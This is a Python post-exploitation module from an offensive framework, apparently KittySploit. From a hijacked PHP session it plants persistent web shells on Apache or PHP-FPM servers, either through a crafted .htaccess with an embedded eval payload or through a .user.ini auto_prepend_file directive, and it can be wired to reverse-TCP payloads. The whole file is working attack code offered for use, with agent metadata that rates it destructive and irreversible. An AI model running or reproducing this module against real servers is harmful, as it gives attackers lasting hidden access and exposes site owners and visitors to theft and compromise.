PHP Auto-Prepend Combo (.htaccess + .user.ini)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.post.php.helpers import PhpPostHelper
class Module(Post, PhpPostHelper):
__info__ = {
"name": "PHP Auto-Prepend Combo (.htaccess + .user.ini)",
"description": (
"Detects Apache/mod_php vs PHP-FPM/Nginx stack from a PHP session and deploys "
"persistence via .htaccess, .user.ini, or both (best-effort auto selection)."
),
"author": "KittySploit Team",
"arch": Arch.PHP,
"session_type": SessionType.PHP,
"tags": ["php", "persistence", "htaccess", "user.ini", "web"],
"references": ["https://github.com/wireghoul/htshells"],
'agent': {
'risk': 'destructive',
'effects': ['target_modification', 'config_changes'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
web_dir = OptString("", "Web directory (empty = DOCUMENT_ROOT or getcwd())", False)
deploy_mode = OptChoice(
"auto",
"Deploy: auto, htaccess, user_ini, or both",
False,
choices=["auto", "htaccess", "user_ini", "both"],
)
shell_name = OptString(".ks-prepend.php", "PHP shell filename under web_dir", False)
ini_mode = OptChoice("prepend", "user.ini directive", False, choices=["prepend", "append"])
payload_path = OptString("", "Payload module (e.g. payloads/singles/cmd/php/reverse_tcp)", True)
lhost = OptString("", "Local host for reverse payloads", False)
lport = OptPort(4444, "Local port for reverse payloads", False)
def _shell_path(self, web: str) -> str:
name = self._opt(self.shell_name).lstrip("/") or ".ks-prepend.php"
return f"{web.rstrip('/')}/{name}"
def _deploy_htaccess(self, web: str, shell_path: str, embedded: str) -> bool:
ht_path = f"{web.rstrip('/')}/.htaccess"
content = f"""<Files ~ "^\\.ht">
Require all granted
</Files>
php_flag engine on
SetHandler application/x-httpd-php
###### SHELL ###### <?php {embedded} ?>
"""
print_status(f"Writing {ht_path}")
return self.php_write_file(ht_path, content, mode=0o755)
def _deploy_user_ini(self, web: str, shell_path: str, embedded: str) -> bool:
ini_path = f"{web.rstrip('/')}/.user.ini"
directive = "auto_prepend_file" if self._opt(self.ini_mode) == "prepend" else "auto_append_file"
ini_content = (
f'{directive} = "{shell_path}"\n'
'user_ini.filename = ".user.ini"\n'
"user_ini.cache_ttl = 5\n"
)
print_status(f"Writing shell {shell_path}")
if not self.php_write_file(shell_path, f"<?php {embedded} ?>\n", mode=0o644):
return False
print_status(f"Writing {ini_path}")
return self.php_write_file(ini_path, ini_content, mode=0o644)
def check(self):
stack = self.php_detect_stack(self._opt(self.web_dir))
flags = self.parse_stack_flags(stack)
if not flags["web_dir"]:
print_error("Could not determine web directory")
return False
methods = self.choose_prepend_methods(stack, self._opt(self.deploy_mode))
if not methods:
print_error(
f"No viable technique (SAPI={flags['sapi']}, "
f"htaccess={flags['writable_htaccess']}, user_ini={flags['writable_user_ini']})"
)
return False
print_success(f"Stack: {flags['sapi']} / {flags['server']}")
print_info(f"Web dir: {flags['web_dir']}")
print_info(f"Selected technique(s): {', '.join(methods)}")
return True
def run(self):
stack = self.php_detect_stack(self._opt(self.web_dir))
flags = self.parse_stack_flags(stack)
web = flags["web_dir"]
if not web:
raise ProcedureError(FailureType.NotFound, "Could not determine web directory")
methods = self.choose_prepend_methods(stack, self._opt(self.deploy_mode))
if not methods:
raise ProcedureError(
FailureType.NotVulnerable,
"No writable .htaccess or .user.ini target for current stack/mode",
)
encoded = self.generate_payload(self._opt(self.payload_path))
embedded = self.embed_eval_payload(encoded)
shell_path = self._shell_path(web)
ok = False
for method in methods:
if method == "htaccess":
ok = self._deploy_htaccess(web, shell_path, embedded) or ok
elif method == "user_ini":
ok = self._deploy_user_ini(web, shell_path, embedded) or ok
if not ok:
raise ProcedureError(FailureType.PayloadFailed, "Failed to deploy auto-prepend persistence")
print_good(f"Auto-prepend persistence deployed via: {', '.join(methods)}")
print_status(f"Web root: {web}")
return True
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